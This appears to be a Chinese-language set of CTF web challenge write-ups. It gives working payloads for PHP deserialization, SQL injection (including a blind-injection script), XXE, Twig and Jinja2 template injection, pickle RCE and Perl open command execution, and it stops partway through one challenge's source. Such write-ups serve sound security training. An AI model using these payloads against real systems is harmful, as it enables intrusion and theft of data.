[网鼎杯 2020 朱雀组]phpweb
抓包发现两个可上传的参数,判断存在命令执行
使用函数读取源码
判断存在反序列化漏洞
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() //对象被销毁时调用{
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func); //将其转化为小写
if (!in_array($func,$disable_fun)) //过滤
{
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可使用func参数进行反序列化,p参数传入序列化的代码,实现命令执行
<?php
class Test{
var $p = "cat /tmp/flagoefiu4r93";
var $func="system";
}
echo(serialize(new Test));
?>
最终payload为
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
[安洵杯 2019]easy_web
打开题目发现其url有base64编码http://74f7e225-8aa1-4849-8371-c8f53134260a.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
base64解码两次+16进制解码得到信息为555.png
判断此参数可获取文件源码,讲index.php反编译,得到base64编码,解码为下
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
关键代码:
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo
$cmd
;
即要传入MD5相同的两个字符串
正则匹配可使用\绕过 在linux中\表示换行
也可使用sort命令
sort的定义: sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。
md5强比较
这一大长串的编码,他们的md5值是相等的,原理是将hex字符串转化为ascii字符串,并写入到bin文件
考虑到要将一些不可见字符传到服务器,这里使用url编码
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2
参考连接:https://www.cnblogs.com/kuaile1314/p/11968108.html
[BSidesCF 2020]Had a bad day
php://filter/read=convert.base64-encode/resource=index
使用php伪协议可读取源码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
{
nclude ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
使用伪协议目录穿越即可
payload:php://filter/read=convert.base64-encode/resource=index/../flag
[SUCTF 2019]CheckIn
上传php文件,发现用exif_imagetype函数检测文件类型,可通过给上传脚本加上相应的幻数头字节就可以绕过:
- JPG :FF D8 FF E0 00 10 4A 46 49 46
- GIF(相当于文本的GIF89a):47 49 46 38 39 61
- PNG: 89 50 4E 47
本题利用到了.user.ini 的知识点,先上传一个.uer.ini文件,再上传图片马,随便访问同目录下的文件,会自动包含图片马。
[RoarCTF 2019]Easy Java
打开后发现存在文件下载,想到java配置文件WEB-INF/web.xml泄露
使用post请求成功下载WEB-INF/web.xml文件
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
可以通过web.xml获取到java web的配置信息
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
可以看到com.wm.FlagController,构造payload
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
下载文件反编译后得到base64编码的flag
[极客大挑战 2019]FinalSQL
使用异或运算检测出为数字型注入
?id=1^1 错误
?id=1^0 正常
fuzz测试,过滤了大多数关键字,使用异或进行绕过,使用二分法进行盲注
查数据库
"id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid)
查表
"id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)
查字段
"id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
爆值
"id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
脚本()
import requests
url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
# 查表
# tables="?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{0},1))={1})^1".format(i,mid)
# 查字段
# columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{0},1))={1})^1".format(i,mid)
payload = "http://08f6ba32-8c92-43d1-abb4-4115171c3aae.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
使用input伪协议将‘I have a dream’写入$text,filter伪协议读取next.php内容,得到源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace
preg_replace(pattern, replacement, subject)
当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。
在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线
php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)
strtolower("\1")' \1 在正则表达式中有自己的含义
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里的 \1 实际上指定的是第一个子匹配项
payload:\S*=${getFlag()}&cmd=system('cat /flag');
正则表达式的\S:匹配所有非空白字符;
[GXYCTF2019]禁止套娃
目录扫描,发现git泄露,下载源码,进行代码审计
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
存在rce,过滤了伪协议,字母等,
如果';' ===pregreplace(...),那么就执行exp传递的命令
[a-z,]+ : [a-z,]匹配小写字母和下划线 +表示1到多个
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();。
(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。
第一种方法:
先查看当前目录下的文件。
exp=print_r(scandir(current(localeconv())));
localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
所以current(localeconv())=='.' (永远是点)
scandir('.'):列出当前目录中的文件和目录。
接下来要读取flag.php文件中的内容。
show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse():将原数组中的元素顺序反转,创建新的数组并返回。
next():函数将内部指针指向数组的下一个元素,并输出。
另一种方法:
手动设置名为PHPSESSID的cookie,并设置值为flag.php,在进行读取
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。 session_id()可以获取到当前的session id。
print_r(session_id(session_start()));
[BJDCTF2020]Mark loves cat
目录扫描。存在git泄露,获取源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y; //post传入的值赋给键为名的参数
}
foreach($_GET as $x => $y){
$$x = $$y; //get传入的值为名的参数赋予键为名的参数
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
存在变量覆盖漏洞,输出变量flag即可获得flag,有三种输出方式,有一种成功即可
第一种,get传参:yds=flag
利用 exit($yds);
即$yds=$flag
第二种,get传参:is=flag&flag=flag
利用exit($is);
即$is=$flag $flag=$flag
[NCTF2019]Fake XML cookbook
通过题目和源码判断存在xml实体注入(xml),
XXE常见利用方式
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
本题为有回显,直接构造文件读取payload即可
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
[BJDCTF2020]Cookie is so stable
提示查看cookie,发现存在Twig模块模板注入
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[安洵杯 2019]easy_serialize_php
打开题目,获得源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); //从数组中将变量导入到当前的符号表。可导致变量覆盖
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
反向分析,突破口在于利用file_get_contents读取flag文件,
要想触发此函数,要令$function=‘show_image’,
同时令$userinfo['img']=base64编码后的flag文件,
而$userinfo由$serialize_info经过反序列化得到
$serialize_info由序列化后的$_SESSION经过filter函数过滤后得到,
同时不能传入$_GET['img_path'],否则$_SESSION['img']将被hash加密
可利用反序列化对象逃逸,利用过滤函数,覆盖$_SESSION[img]的值
而根据提示查看phpinfo,得到提示文件位置
payload1:值逃逸
,这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
经过过滤,var_dump的结果为:
"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
payload2:键逃逸
,这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
经过过滤,var_dump的结果为:
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
得到flag路径
base64编码后恰好20位,替换上面的base64编码即可
[WUSTCTF2020]朴实无华
目录扫描扫到robots.txt访问得到提示文件,访问后无flag
抓包,响应头找到新文件地址
得到源码
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
三关绕过
第一关:
isset函数用于获取参数的整数值,当参数为科学计数法时,只会获取e前的值,但+1后会将科学计数法强制转换为int类型
所以可用科学计数法绕过
令num=1e10即可
第二关:
弱类型比较,找到一个0e开头且md5也为0e开头的数即可
md5=0e215962017
第三关:
strstr() 函数
搜索字符串在另一字符串中的第一次出现。
过滤了cat命令和空格
get_flag=tac<flag
最终payload:
num=1e10&md5=0e215962017&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[ASIS 2019]Unicorn shop
输入商品id和价格 ,发现价格只能输入一个字符,且只有4号能购买。很明显,购买4号将会得到flag,检查源码,发现使用utf-8编码
那肯定是要买第四个商品了
考点unicode编码安全问题
我们可以用别的语言来表示数字
搜uncode大于1337的字符
直接搜thousand,找一个字符进行url编码后上传即可
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
过滤:
- 长度<80
- 不包含黑名单内字符
- 只含白名单内的函数
可利用php函数的动态特性:php函数可以通过赋值,将函数名赋给变量
进行函数拼接,来绕过长度限制,利用数学函数来绕过黑名单检测
构造初步payload为:
?c=$_GETa&a=system&b=cat flag
接下来绕过过滤
base_convert
在任意进制之间转换数字
dechex
将十进制转化为十六进制
hex2bin
将十六进制转化为ascii的字符
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
[SWPU2019]Web1
留言板存在二次注入
过滤了空格,or,and,--+,#,order等关键字
order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,如group by 1,'2
-1'/**/group/**/by/**/22,'11
返回正常
-1'union/**/select/**/1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'union%0aselect%0a1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
information_schema.tables被过滤
这个视图可以查表名:sys.schema_auto_increment_columns
#该视图的作用是对表自增ID进行监控
就是说,某张表如果存在自增ID,我们就可以通过该视图获取数据库的该表名信息.
同时Maria数据库的这个表可以查表名:mysql.innodb_table_stats
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
此题php版本不对,不能使用
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
但上述两个方法不能获取列名,可采用子查询的方法进行爆数据
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s //进行模块渲染
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
查看源码,猜测存在模板注入,测试
为jinjia2模板注入
根据 app.config['FLAG'] = os.environ.pop('FLAG') //注册了一个名为FLAG的config,目标为读取他
本题设置了黑名单[‘config’,‘self’]并且过滤了括号
有两个函数包含了全局变量,url_for和get_flashed_messages
globals() 函数会以字典类型返回当前位置的全部全局变量。
/shrine/{{url_for.__globals__}}
current_app': <Flask 'app'>这里的current就是指的当前的app,这样我们只需要能查看到这个的config就可以看到flag了,构造payload
/shrine/{{url_for.__globals__['current_app'].config}}
[BJDCTF2020]EasySearch
Apache SSI 远程命令执行漏洞
https://cloud.tencent.com/developer/article/1540513
[CISCN2019 华北赛区 Day1 Web2]ikun
根据提示,需要购买lv6,并突破金额限制
页面过多,写脚本找到lv6所在页面
import requests
for i in range(1000):
url = 'http://9a1a7fdc-44ff-4e75-a7e4-1c8e5757a43c.node4.buuoj.cn:81/shop?page={0}'.format(i)
res=requests.get(url=url)
if 'lv6.png' in res.text:
print(url)
else:
pass
金额不够,进行抓包,查找是否存在支付逻辑漏洞
发现可更改优惠卷数值
修改到能够购买后,发现存在身份限制,根据数据包,可以看到存在jwt
使用工具c-jwt-crack爆破jwt密钥,得到密钥为1kun
在购买的数据包中,修改jwt,将用户改为admin,在发包购买
成功购买后,出现提示,存在源码
发现Admin.py文件
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
注意到become参数,可进行rce
此参数先进行url解码,在pickle反序列化
我们构造一下become参数
import pickle
import urllib
class Test(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))
a=Test()
b=pickle.dumps(a)
print(urllib.quote(b))
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
刷新抓包,更改become参数
[HITCON 2017]SSRFme
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
分析
前半部分
获取ip,创建并跳转到"sandbox/. md5("orange" . ip)"的目录
后半部分
get传参url并进行过滤(把字符串转码为可以在 shell 命令里使用的参数),
然后进行GET url命令执行
获取传入filename的最后一级文件夹(若获取不为空)并创建
创建传入filename的文件名,并写入命令执行的结果
知识点
GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
参考:https://blog.csdn.net/qq_45521281/article/details/105868449
Perl中open命令执行(GET)
1.使用GET读取文件
如果GET后面跟路径的话,可以直接获取文件或目录内容
读取根目录
GET /
2.使用GET执行命令
GET底层实现使用的是open函数,而open函数可以执行命令,所以我们可以用GET来执行命令
file 协议才有可以利用的 open
PS:必须得满足前面的文件存在才会命令执行,所以我们要创建一个与命令同名的文件
basename() 函数返回路径中的文件名部分。
pathinfo() 函数以数组的形式返回关于文件路径的信息。
返回的数组元素如下:
-
解题
创建文件aaa并读取根目录
?url=/&filename=aaa
猜测执行readflag即可获得flag,配合GET命令读取
/?url=file:bash -c /readflag|&filename=bash -c /readflag|
创建相应的同名文件
/?url=file:bash -c /readflag|&filename=123
利用open的feature执行代码
[RCTF2015]EasySQL
打开出现注册和登录两个选项。先进行注册,发现过滤了一些东西,burp fuzz一下过略了空格以及一些函数等
注册用户
登录后,存在修改密码页面,修改后出现报错
判断存在二次注入,可采用报错注入进行注入,使用括号替换空格,将注入语句注册为用户名,在修改密码即可
查表
123"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
经测试flag在users表中
爆字段
123"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
存在长度限制,可使用正则匹配
123"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
爆字段
123"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
长度限制,可使用reverse逆置输出拼接flag
123"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
打开题目,右键查看源代码,发现提示
使用伪协议获取源码
?file=php://filter/convert.base64-encode/resource=
index.php
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åä
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
